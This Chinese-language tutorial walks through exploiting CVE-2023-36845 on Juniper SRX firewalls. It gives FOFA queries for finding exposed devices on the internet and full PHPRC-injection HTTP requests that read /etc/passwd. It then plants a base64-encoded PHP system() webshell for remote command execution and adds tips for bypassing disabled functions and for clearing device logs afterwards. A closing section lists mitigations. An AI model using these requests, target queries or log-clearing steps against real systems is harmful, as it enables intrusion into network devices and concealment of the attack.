手把手教你复现Juniper SRX的CVE-2023-36845漏洞(附EXP与FOFA语法)
从零实战:Juniper SRX设备CVE-2023-36845漏洞深度解析与安全验证
当你第一次听说Juniper SRX系列设备存在任意文件读取漏洞时,是否和我一样既兴奋又忐忑?兴奋的是这可能是进入网络安全实战的一个绝佳案例,忐忑的是面对复杂的设备环境和晦涩的技术文档不知从何下手。本文将带你以渗透测试新手的视角,用最接地气的方式完成整个漏洞复现过程。
1. 漏洞背景与环境准备
Juniper Networks作为企业级网络设备的主要供应商,其SRX系列安全设备广泛应用于各大组织的网络边界防护。2023年曝光的CVE-2023-36845漏洞影响特定版本的Web管理界面,允许攻击者通过精心构造的HTTP请求实现任意文件读取,进而可能升级为远程代码执行。
验证环境准备清单:
- 测试用Juniper SRX设备(版本确认受影响)或合法授权的测试目标
- Kali Linux或其它渗透测试发行版
- Burp Suite或Postman用于HTTP请求构造
- 基础的Linux命令行操作能力
重要提示:所有测试必须在自己拥有合法权限的设备上进行,或在获得明确授权的情况下开展。未经授权的测试可能违反法律法规。
2. 目标识别与信息收集
在正式开始漏洞验证前,我们需要先确认目标设备是否运行了存在漏洞的软件版本。最直接的方式是通过Web界面的特征进行识别。
FOFA搜索引擎查询语法:
title="Juniper Web Device Manager"这个查询会返回互联网上所有公开暴露的Juniper Web管理界面。在实际操作中,我建议添加更多过滤条件以缩小范围:
title="Juniper Web Device Manager" && country="CN" && after="2023-01-01"目标验证步骤:
- 访问目标设备的Web管理界面(通常为https://目标IP)
- 查看页面底部或登录页面的版本信息
- 确认是否在受影响版本范围内
3. 漏洞原理与利用分析
CVE-2023-36845的核心问题出在PHP环境配置的不当处理上。攻击者可以通过特殊的PHPRC参数注入,控制PHP的运行时配置,从而实现任意文件包含。
漏洞利用关键点:
- 通过
PHPRC=/dev/fd/0参数指定配置文件从标准输入读取 - 在POST数据中注入PHP配置指令
- 利用
auto_prepend_file实现文件包含
基础利用请求结构:
POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 33 auto_prepend_file="/etc/passwd"这个请求会尝试读取目标系统的/etc/passwd文件内容。在实际测试中,我发现响应时间会明显变长(约5-10秒),这是判断漏洞是否存在的一个重要指标。
4. 从文件读取到远程代码执行
单纯的任意文件读取已经足够危险,但我们可以进一步利用这个漏洞实现远程命令执行。这需要将攻击分为两个阶段:
4.1 准备阶段:启用危险PHP配置
首先需要修改PHP配置,允许通过data://协议包含外部数据:
POST /?PHPRC=/dev/fd/0 HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close Content-Length: 92 allow_url_include=1 auto_prepend_file="data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4="这个请求做了两件事:
- 设置
allow_url_include=1允许远程文件包含 - 通过base64编码注入一个简单的PHP webshell
4.2 执行阶段:发送命令并获取结果
配置成功后,可以通过简单的GET请求执行系统命令:
GET /?cmd=id HTTP/1.1 Host: 目标IP User-Agent: Mozilla/5.0 Accept: */* Connection: close这个请求会执行id命令并返回结果。在实际测试中,我发现命令输出有时会被截断,这时可以通过输出重定向到临时文件再读取的方式解决。
5. 实战中的常见问题与解决方案
在多次复现这个漏洞的过程中,我遇到了不少"坑",这里分享几个典型问题和解决方法:
编码问题:
- 命令中包含特殊字符时需要先进行URL编码
- 多行命令可以通过
;连接或使用base64编码后解码执行
执行限制:
- 某些系统函数可能被禁用,可尝试替代方案:
system()不可用时尝试shell_exec()- 直接执行失败可尝试写入webshell文件
网络环境:
- 目标设备可能位于防火墙后,需要调整超时时间
- 内网环境可能需要设置代理
日志清理:
- Juniper设备会记录详细的访问日志
- 测试完成后应清理相关日志条目
6. 防御建议与安全加固
作为安全研究人员,我们不仅要会攻击,更要懂得如何防御。针对这个漏洞,我总结了以下几点防护措施:
紧急缓解方案:
- 立即升级到Juniper官方发布的最新固件版本
- 限制Web管理界面的访问来源IP
- 在防火墙规则中添加针对异常
PHPRC参数的过滤
长期安全加固:
- 定期更新网络设备固件
- 启用多因素认证
- 关闭不必要的Web管理功能
- 实施严格的网络访问控制策略
在最近一次企业安全评估中,我发现即使打了补丁,很多管理员仍使用弱密码或默认凭证,这给了攻击者可乘之机。安全是一个持续的过程,不能仅依赖补丁修复。